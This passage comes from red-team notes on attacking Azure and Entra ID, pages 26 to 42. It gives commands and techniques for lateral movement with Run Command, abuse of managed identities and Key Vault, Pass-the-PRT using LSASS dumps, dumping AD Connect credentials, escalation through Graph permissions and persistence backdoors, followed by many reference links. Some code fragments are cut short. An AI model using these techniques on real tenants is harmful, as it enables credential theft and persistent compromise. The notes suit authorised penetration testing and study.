the script on a running Azure Windows or Linux VM.
https://www.netspi.com/blog/technical/cloud-penetration-testing/attacking-azure-with-custom-script-extensions/
Hunting admins
The Run Command feature connects to the Virtual Machine Agent to run commands and scripts.
Azure Portal
Page 26 of 42
REST API
Azure CLI
PowerShell.
PS C:\> Invoke-AzureRmVMRunCommand
--> Using Run Command commands can be executed even when the VM is otherwise unreachable (e.g. if the RDP or SSH ports are closed).
--> Run Command execute commands in elevated privileges.
It is also possible to use MicroBurst with Invoke-AzureRmVMBulkCMD module to run command on all the virtual machine in whole subscription:
Managed Identities can be used to access Azure Key Vaults and storage accounts.
--> Accessing these resources can only be achieved if the correct RBAC or directory role has ben assigned. If the managed identites doesn't have any role
assignements, it is not going to work
https://m365internals.com/2021/11/30/lateral-movement-with-managed-identities-of-azure-virtual-machines/
https://www.netspi.com/blog/technical/cloud-penetration-testing/azure-privilege-escalation-using-managed-identities/
In case the Managed Identity of a compromised Linux/Windows VM has Owner rights for exemple we can try to access Key Vaults and secrets within the
same resource group.
az login --identity
az keyvault list
Page 27 of 42
--> This will not be possible as the Managed Identity has only Owner write over the resource group where the Key Vault is stored. But as Owner role, the
Managed Identity has enough permission to modify access policy of the Azure Key Vault and grant list permission for secrets.
In case the Managed Identity of a compromised Linux/Windows VM has Owner rights on the Resource Group. We can try to Storage Account and Storage
Account Keys within the same resource group.
az login --identity
4. Use Azure Storage Explorer with Access Key to connect to Storage Account
https://azure.microsoft.com/en-us/features/storage-explorer/#overview
Storage Account Key : Most desired method of attack because they grant full access to the entire storage account.
SAS Tokens : Keys that grant only certain rights to a subset of objects in a storage account.
Page 28 of 42
Moving laterally to Linux/Windows Machine
In case the Managed Identity of a compromised Linux/Windows VM has Owner rights for exemple on the Resource Group. We can try to move laterally and
compromised other Vitual Machines within the same resource group.
az vm run-command invoke -g Demo -n LinuxVM02 --command-id RunShellScript --scripts "getent passwd | awk -F: '{ prin
Users in this role can create and manage all aspects of applications
Application Administrators can manage application credentials that allows them to impersonate the application.
Tool appJack.py
https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/
Pass-the-PRT
https://docs.microsoft.com/en-us/azure/active-directory/devices/concept-primary-refresh-token s
Primary Refresh Token (PRT) is a special high privileged refresh token where you can request access tokens for any registered application in Azure and
Microsoft 365 to authenticate against it. Compared to Active Directory in on-premises networks, it is the equivalence to the Ticket Granting Ticket (TGT).
Storage
Validity
Invalidation
Page 29 of 42
Attack
1. Pass-The-PRT
2. Pass-The-Cookie
3. Verify victim machine is AD Azure joined and verify if the session key is protected by TPM chip, dump LSASS process:
dsregcmd.exe /status
LSASS dump (sekurlsa::minidump lsass.dmp -> sekurlsa::cloudap)
.\ROADToken.exe
Page 30 of 42
cat .roadtools_auth | python3 -m json.tool
--> It is also possible to directly insert the x-ms-RefreshTokenCredential within browser cookie. ( https://login.microsoftonline.com with HTTPOnly)
--> TPM can be bypass
https://www.youtube.com/watch?v=9WDe7IiSrWE
https://derkvanderwoude.medium.com/pass-the-prt-attack-and-detection-by-microsoft-defender-for-afd7dbe83c94
https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/
https://dirkjanm.io/digging-further-into-the-primary-refresh-token/
Pass-the-Certificate
https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597
Across Tenant
Cloud to on prem
https://whiteknightlabs.com/2024/02/21/pivoting-from-microsoft-cloud-to-on-premise-machines/
The user's AAD id is translated to SID by concatenating "S-1–12–1-" to the decimal representation of each section of the AAD Id.
function Convert-AzureAdObjectIdToSid {
<#
.SYNOPSIS
Convert an Azure AD Object ID to SID
.DESCRIPTION
Converts an Azure AD Object ID to a SID.
Author: Oliver Kieselbach (oliverkieselbach.com)
The script is provided "AS IS" with no warranties.
.PARAMETER ObjectID
The Object ID to convert
#>
param([String] $ObjectId)
$bytes = [Guid]::Parse($ObjectId).ToByteArray()
$array = New-Object 'UInt32[]' 4
return $sid
}
$objectId = "73d664e4-0886-4a73-b745-c694da45ddb4"
$sid = Convert-AzureAdObjectIdToSid -ObjectId $objectId
Write-Output $sid
Page 31 of 42
# Output:
# S-1-12-1-1943430372-1249052806-2496021943-3034400218
function Convert-AzureAdSidToObjectId {
<#
.SYNOPSIS
Convert a Azure AD SID to Object ID
.DESCRIPTION
Converts an Azure AD SID to Object ID.
Author: Oliver Kieselbach (oliverkieselbach.com)
The script is provided "AS IS" with no warranties.
.PARAMETER ObjectID
The SID to convert
#>
param([String] $Sid)
return $guid
}
$sid = "S-1-12-1-1943430372-1249052806-2496021943-3034400218"
$objectId = Convert-AzureAdSidToObjectId -Sid $sid
Write-Output $objectId
# Output:
# Guid
# ----
# 73d664e4-0886-4a73-b745-c694da45ddb4
https://posts.specterops.io/death-from-above-lateral-movement-from-azure-to-on-prem-ad-d18cb3959d4d
This abuse becomes possible when Windows devices have been Hybrid-Joined to both the Azure tenant and the on-prem Active Directory domain.
--> If an organization is using Hybrid Azure AD join to manage on-prem Windows systems, then an attacker with control of a “Global Admin” or “Intune
Administrator” principal can execute arbitrary PowerShell scripts on those on-prem devices as the SYSTEM user.
PS C:> Get-AzureADDevice -All $True | ?{$_.DeviceTrustType -eq "ServerAd" -And $_.IsCompliant -eq "True"} | Select D
Page 32 of 42
On-Prem (domaine A) to CLOUD to On-Prem (domaine B)
On-prem systems from different Active Directory domains can be hybrid-joined to the same tenant, which in certain circumstances have resulted in attack
paths originating in one on-prem domain (or one of the many other identity platforms that can authenticate to Azure) and landing in another on-prem domain,
where absolutely no domain or forest trusts exist.
On prem to cloud
If an organization uses Password Hash Synchronization, Azure AD connect has the privileges to perform a DCSync, which allows it to sync all attributes
(including password hashes) from domain controllers.
https://dirkjanm.io/updating-adconnectdump-a-journey-into-dpapi/
https://github.com/fox-it/adconnectdump
AdConnectDump toolkit offers several ways to extract and decrypt stored Azure AD and Active Directory credentials from Azure AD Connect servers. These
credentials have high privileges in both the on-premise directory and the cloud.
Tool Requires code exec on target DLL dependencies Requires MSSQL loccaly Requires python locally
Main objectives :
Compromise the AD & Azure credentials configured within the AD Connect Service
Leverage the local creds to perform DC sync attack
Leverage Azure creds to access Tenant
Page 33 of 42
2. We will need Local Admin account or ADsync service account to interact with the Azure AD Connect DB.
--> This DB stores an encrypted version of the MSOL account password which be decrypted with C:\Program Files\Microsoft Azure AD
Sync\Binn\mcrypt.dll and NT SERVICE\ADSync DPAPI key. (https://dirkjanm.io/updating-adconnectdump-a-journey-into-dpapi/)
Get-AzurePasswords (Microburst)
Import-Module Microburst.psm1
Get-AzurePasswords
Get-AzurePasswords -Verbose | Out-GridView
https://github.com/NetSPI/MicroBurst/blob/master/AzureRM/Get-AzurePasswords.ps1
https://www.netspi.com/blog/technical/cloud-penetration-testing/a-beginners-guide-to-gathering-azure-passwords/
az cli stores access tokens in clear text in accessTokens.json in the directory C:\Users<username>.Azure
azureProfile.json in the same directory contains information about subscriptions.
Az PowerShell stores access tokens in clear text in TokenCache.dat in the directory C:\Users<username>.Azure
It also stores ServicePrincipalSecret in clear-text in AzureRmContext.json
Users can save tokens using Save-AzContext
Privilege escalation
Difference between Azure AD Directory and API permissions
https://www.youtube.com/watch?v=qO9dVCVmVGo
RBAC roles
Page 34 of 42
MSGraph API Permissions abuse
https://www.youtube.com/watch?v=qO9dVCVmVGo
https://www.youtube.com/watch?v=a09_5SCPBZ0
https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/
https://dirkjanm.io/assets/raw/US-22-Mollema-Backdooring-and-hijacking-Azure-AD-accounts_final.pdf
https://www.youtube.com/watch?v=uKDS2t9_KsA
https://m365internals.com/2021/07/24/everything-about-service-principals-applications-and-api-permissions/
https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48
https://github.com/Hagrid29/AbuseAzureAPIPermission
https://www.powershellgallery.com/packages/AzureADIncidentResponse/4.2
https://posts.specterops.io/directory-readwrite-all-is-not-as-powerful-as-you-might-think-c5b09a8f78a8
https://www.youtube.com/watch?v=IUcubSMkjNE
https://github.com/mlcsec/Graphpython
https://github.com/mlcsec/SharpGraphView
https://github.com/dafthack/GraphRunner
https://www.youtube.com/watch?v=YDK5xYx1rKg
Application.ReadWrite.All — Enables adding credentials and owners to all existing apps and service principals
RoleManagement.ReadWrite.Directory - Permits a service principal with that app role to promote itself or any other principal to any Entra ID role,
including GLOBAL ADMINISTRATOR.
AppRoleAssignment.ReadWrite.All - Permits a service principal with that app role to grant itself or any other service principal any MS Graph app role,
including RoleManagement.ReadWrite.Directory, with the added bonus of uniquely having the ability to bypass the admin consent process.
Very great website listing EntraID/AzureAD Access Control role (including MSGraph API roles)
https://www.azadvertizer.net/azEntraIdAPIpermissionsAdvertizer.html
https://docs.microsoft.com/en-us/azure/role-based-access-control/elevate-access-global-admin
Page 35 of 42
--> When you set the toggle to Yes, you are assigned the User Access Administrator role in Azure RBAC at root scope (/).
--> As attacker you can set Owner role over the root management group to get full access over all the Azure subscriptions, management groups, resource
groups and resources under the root management group.
--> Azure AD and Azure resources are secured independently from one another. That is Azure AD role assignments do not grant access to Azure resources
automatically.
--> For many organisation the group that manages Azure AD and Office365 are different group from those that manage Azure.
If this option is toggled to “Yes” that the account is removed from the Global Administrator role, the Azure RBAC role remains and is not removed.
Page 36 of 42
It could permit persistence over the root management group without global admin role on the Tenant.
--> User Access Administrator provides the ability to modify any group membership in Azure.
--> The attacker can now set any Azure AD account to have privileged rights to Azure subscriptions and/or Azure VMs.
https://www.youtube.com/watch?v=AR5aLszXA2E
https://posts.specterops.io/azure-privilege-escalation-via-service-principal-abuse-210ae2be2a5
Accross subscriptions
Anytime you create a Microsoft 365 by default, that account will spin up 200 default service principals within the O365 tenant.
--> None of them are listed in the Azure GUI portal under the user section, you have to go in Search Principals to see them.
Ex: You compromise an account for somebody which have an "Application Administrator" role. This role allow users to change passwords or certificates for
service principals, even the default ones.
--> Identify an account which have an higher level of privilege than your "Application Administrator"
https://posts.specterops.io/azure-privilege-escalation-via-service-principal-abuse-210ae2be2a5
https://github.com/rootsecdev/Azure-Red-Team/tree/master/PrivEsc
$Role = $_
$RoleDisplayName = $_.DisplayName
$RoleMembership
}
}
$UserRoles | ?{$_.MemberType -eq "ServicePrincipal"}
Page 37 of 42
Storage account keys - Key vault can manage and rotate access keys for
storage accounts
--> With right permissions and access, Azure resources that support managed
identities (VMs, App Service, Functions, Container etc.) can securely retrieve
secrets from the key vault.
--> By default only the owner of the key vault can access the key
--> Contributors over key vault resources have the ability to modify certain permissions on keyvault. Contributors can modify their own permission to give
them the read permission to read data within key vault.
--> Role like Contributor that has permissions in the management place to manage access policies.
Compromission of an azure resource whose managed identity can read secrets from a key vault (due to an access policy or assigned one of the capable roles
or a custom role), it may be possible to gain access to more resources.
Key Vault Administrator Perform all data plane operations. Cannot manage role assignment Yes
Key Vault Certificates Officer Perform any action on certificates. Cannot manage permissions Yes (Certificates)
Key Vault Crypto Officer Perform any action on keys. Cannot manage permissions Yes (Keys)
Key Vault Secrets Officer Perform any action on secrets. Cannot manage permissions Yes (Secrets)
Key Vault Crypto Service Read metadata and perform wrap/unwrap operations on keys No
Key Vault Reader Read metadata of key vaults and its certificates, keys, and secrets No
https://docs.microsoft.com/en-us/microsoft-365/compliance/content-search?view=o365-worldwide
https://protection.office.com OR https://compliance.microsoft.com
Must be a member of eDiscovery Manager role group in Security & Compliance Center.
Administrator
compliance officer
eDiscovery manager
--> Search en report across all Microsoft 365 services to "passwords", "secrets"...
https://github.com/nheiniger/SnaffPoint
Persistence
Dangerous role - Partner Tier2 Support
Page 38 of 42
Reset passwords and invalidate refresh tokens for only non-administrators
update application credentials
update owners of applications
add users
Reset passwords and invalidate refresh tokens for all non-administrators and administrators (including Global Administrators)
Update application credentials
update owners of applications
add users
https://posts.specterops.io/the-most-dangerous-entra-role-youve-probably-never-heard-of-e00ea08b8661
https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference#partner-tier2-support
An adversary may target the “Partner Tier2 Support” role to maintain stealthy, privileged persistence in an Entra ID tenant.
While the Entra “Roles and administrators” table hides this role, the “Microsoft Entra Privileged Identity Management” roles management view shows
this role and all other hidden roles.
TeamFiltration is a cross-platform framework for enumerating, spraying, exfiltrating, and backdooring O365 AAD accounts.
https://github.com/Flangvik/TeamFiltration
https://blog.xpnsec.com/azuread-connect-for-redteam/
https://www.youtube.com/watch?v=UxKEQ9tIiLs
Set up properly, they can be use to regain Owner (or higher*) permissions to subscriptions in the Azure tenant with a new AzureAD account.
Azure Automation State Configuration allows administrators to use an Azure Automation Account to deploy DSC at
scale across their cloud VMs and on-premise systems.
PowerShell Desired State Configuration (DSC) is existing Windows functionality that allows system administrators
to declare how a computer should be configured with configuration scripts and resources.
https://docs.microsoft.com/en-us/azure/virtual-machines/extensions/dsc-overview
https://www.netspi.com/blog/technical/cloud-penetration-testing/azure-persistence-with-desired-state-configurations/
Virtual Machine Contributor lets you manage virtual machines but not access to them.
Page 39 of 42
This role seems limited but it has the permission to use Run Command feature. Allowing user with Virtual Machine Contributor role to execute system command
over a VM with elevated privileges
--> This right is Microsoft.Compute/virtualMachines/runCommand/ action which is included in Virtual Machine Contributor
--> Includes the ability to re-enable the Administrator account
--> Target VM Domain Controler in Azure
https://www.inversecos.com/2021/10/how-to-backdoor-azure-applications-and.html
In every application, there are two methods you are presented with for authenticating the service principal – a “secret” or a “certificate”. An attacker
can add a new secret or a certificate to allow them to log into Azure – basically acting as a “backdoor”
3 methods:
Incident Response
AADCookie spoof
https://github.com/jsa2/aadcookiespoof
Training
HackTheBox - BlackSky
https://www.hackthebox.com/business/professional-labs/cloud-labs-blacksky
https://bootcamps.pentesteracademy.com/course/ad-azure-nov-21
https://github.com/CyberSecurityUP/Red-Team-Management/tree/main/Cloud%20Security
Conditional access
https://danielchronlund.com/2018/11/21/azure-ad-conditional-access-policy-design-baseline/
https://docs.microsoft.com/en-us/azure/active-directory/conditional-access/overview
https://posts.specterops.io/azure-privilege-escalation-via-service-principal-abuse-210ae2be2a5
https://github.com/kh4sh3i/cloud-penetration-testing
AAD Internals
Page 40 of 42
https://o365blog.com/aadinternals/
AzureHound cheatsheet
https://hausec.com/2020/11/23/azurehound-cypher-cheatsheet/
https://hausec.com/2020/01/31/attacking-azure-azure-ad-and-introducing-powerzure/
https://www.youtube.com/watch?v=u_3cV0pzptY
https://github.com/Kyuu-Ji/Awesome-Azure-Pentest
Exploiting IMDS
https://medium.com/marcus-tee-anytime/steal-secrets-with-azure-instance-metadata-service-dont-oversight-role-based-access-control-
a1dfc47cffac
https://speakerdeck.com/tweekfawkes/blue-cloud-of-death-red-teaming-azure-1
https://adsecurity.org/?p=4277
https://adsecurity.org/wp-content/uploads/2017/07/2017-DEFCON-HackingTheCloud-SteereMetcalf-Final.pdf
https://www.youtube.com/watch?v=fpUZJxFK72k
https://www.youtube.com/watch?v=qFoHDTxkQII
https://www.synacktiv.com/en/publications/azure-ad-introduction-for-red-teamers.html
https://ninocrudele.com/wp-content/docs/Azure-Fundamental-for-Ethical-Hackers-and-Special-Ops-Team.pdf
https://github.com/0xJs/CARTP-cheatsheet
https://www.redsiege.com/wp-content/uploads/2021/06/O365UserEnumeration_PasswordAttacks.pdf
https://www.trustedsec.com/blog/owning-o365-through-better-brute-forcing/
https://swarm.ptsecurity.com/attacking-ms-exchange-web-interfaces/
https://danielchronlund.com/2021/11/18/scary-azure-ad-tenant-enumeration-using-regular-b2b-guest-accounts/
Page 41 of 42
Azure AD Attack of the default config
https://www.pentestpartners.com/security-blog/azure-ad-attack-of-the-default-config/
https://medium.com/soteria-security/azure-ad-default-configuration-blunders-c7abddeae56
https://github.com/six2dez/pentest-book/blob/master/enumeration/cloud/azure.md
https://www.netspi.com/blog/technical/cloud-penetration-testing/attacking-acrs-with-compromised-credentials/
https://jeffreyappel.nl/protect-against-oauth-consent-phishing-attempts-illicit-consent-attack/
https://www.youtube.com/watch?v=J9Kwb2IA65E
https://improsec.com/tech-blog/read2own
Administrator portals
https://msportals.io/?search=
AAD Internals
https://aadinternals.com/
https://thomasvanlaere.com/
https://www.inversecos.com/
https://www.azadvertizer.net/
https://goodworkaround.com/
Page 42 of 42